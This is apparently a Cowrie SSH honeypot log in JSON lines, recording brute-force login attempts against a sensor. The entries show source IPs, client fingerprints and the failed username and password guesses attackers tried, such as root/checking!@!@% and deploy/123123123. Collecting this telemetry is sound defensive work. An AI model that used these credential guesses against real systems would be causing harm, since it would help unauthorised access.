{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:27.334883Z","src_ip":"141.11.88.14","session":"963c51e58002","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:27.338160Z","src_ip":"141.11.88.14","session":"963c51e58002","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch123","message":"login attempt [elasticsearch/elasticsearch123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:28.848696Z","src_ip":"141.11.88.14","session":"963c51e58002","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:29.932111Z","src_ip":"141.11.88.14","session":"963c51e58002","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30684,"dst_ip":"10.17.0.5","dst_port":22,"session":"819cb69bc86f","protocol":"ssh","message":"New connection: 141.11.88.14:30684 (10.17.0.5:22) [session: 819cb69bc86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:33.448102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:33.754126Z","src_ip":"141.11.88.14","session":"819cb69bc86f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:33.757037Z","src_ip":"141.11.88.14","session":"819cb69bc86f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@123","message":"login attempt [ubuntu/Ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:35.615875Z","src_ip":"141.11.88.14","session":"819cb69bc86f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:37.139239Z","src_ip":"141.11.88.14","session":"819cb69bc86f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49396,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3ed546fc244","protocol":"ssh","message":"New connection: 141.11.88.14:49396 (10.17.0.5:22) [session: a3ed546fc244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:39.232248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:39.791164Z","src_ip":"141.11.88.14","session":"a3ed546fc244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:39.794541Z","src_ip":"141.11.88.14","session":"a3ed546fc244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad123","message":"login attempt [milad/milad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:41.372478Z","src_ip":"141.11.88.14","session":"a3ed546fc244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:42.499668Z","src_ip":"141.11.88.14","session":"a3ed546fc244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56246,"dst_ip":"159.203.135.109","dst_port":22,"session":"c60ccb6f70ed","protocol":"ssh","message":"New connection: 51.250.105.222:56246 (159.203.135.109:22) [session: c60ccb6f70ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:43.452388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:43.456629Z","src_ip":"51.250.105.222","session":"c60ccb6f70ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:43.586323Z","src_ip":"51.250.105.222","session":"c60ccb6f70ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:43.981722Z","src_ip":"51.250.105.222","session":"c60ccb6f70ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:45.114027Z","src_ip":"51.250.105.222","session":"c60ccb6f70ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49442,"dst_ip":"10.17.0.5","dst_port":22,"session":"134702c4f7fd","protocol":"ssh","message":"New connection: 141.11.88.14:49442 (10.17.0.5:22) [session: 134702c4f7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:47.319325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:47.362920Z","src_ip":"141.11.88.14","session":"134702c4f7fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:47.507202Z","src_ip":"141.11.88.14","session":"134702c4f7fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123123","message":"login attempt [deploy/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:48.038816Z","src_ip":"141.11.88.14","session":"134702c4f7fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:49.260645Z","src_ip":"141.11.88.14","session":"134702c4f7fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62082,"dst_ip":"10.17.0.5","dst_port":22,"session":"f47cb14940df","protocol":"ssh","message":"New connection: 141.11.88.14:62082 (10.17.0.5:22) [session: f47cb14940df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:55.430752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:55.448249Z","src_ip":"141.11.88.14","session":"f47cb14940df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:55.550906Z","src_ip":"141.11.88.14","session":"f47cb14940df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ui","password":"ui","message":"login attempt [ui/ui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:55.886087Z","src_ip":"141.11.88.14","session":"f47cb14940df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:42:56.969118Z","src_ip":"141.11.88.14","session":"f47cb14940df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":33252,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a70cbeb966e","protocol":"ssh","message":"New connection: 160.191.244.158:33252 (159.203.135.109:22) [session: 4a70cbeb966e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:00.620300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:00.625587Z","src_ip":"160.191.244.158","session":"4a70cbeb966e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:00.862833Z","src_ip":"160.191.244.158","session":"4a70cbeb966e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cms-test","password":"123456","message":"login attempt [cms-test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:01.845101Z","src_ip":"160.191.244.158","session":"4a70cbeb966e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44638,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3f3ec3b4394","protocol":"ssh","message":"New connection: 141.11.88.14:44638 (10.17.0.5:22) [session: f3f3ec3b4394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:03.022114Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:03.084949Z","src_ip":"160.191.244.158","session":"4a70cbeb966e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:03.122798Z","src_ip":"141.11.88.14","session":"f3f3ec3b4394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:03.125785Z","src_ip":"141.11.88.14","session":"f3f3ec3b4394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1","message":"login attempt [user2/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:03.862280Z","src_ip":"141.11.88.14","session":"f3f3ec3b4394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:05.292138Z","src_ip":"141.11.88.14","session":"f3f3ec3b4394","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53754,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f9f45015da8","protocol":"ssh","message":"New connection: 27.71.230.31:53754 (159.203.135.109:22) [session: 1f9f45015da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:08.315191Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14970,"dst_ip":"10.17.0.5","dst_port":22,"session":"1759e6632e38","protocol":"ssh","message":"New connection: 141.11.88.14:14970 (10.17.0.5:22) [session: 1759e6632e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:09.366219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:43:09.465136Z","src_ip":"141.11.88.14","session":"1759e6632e38","protocol":"ssh"}
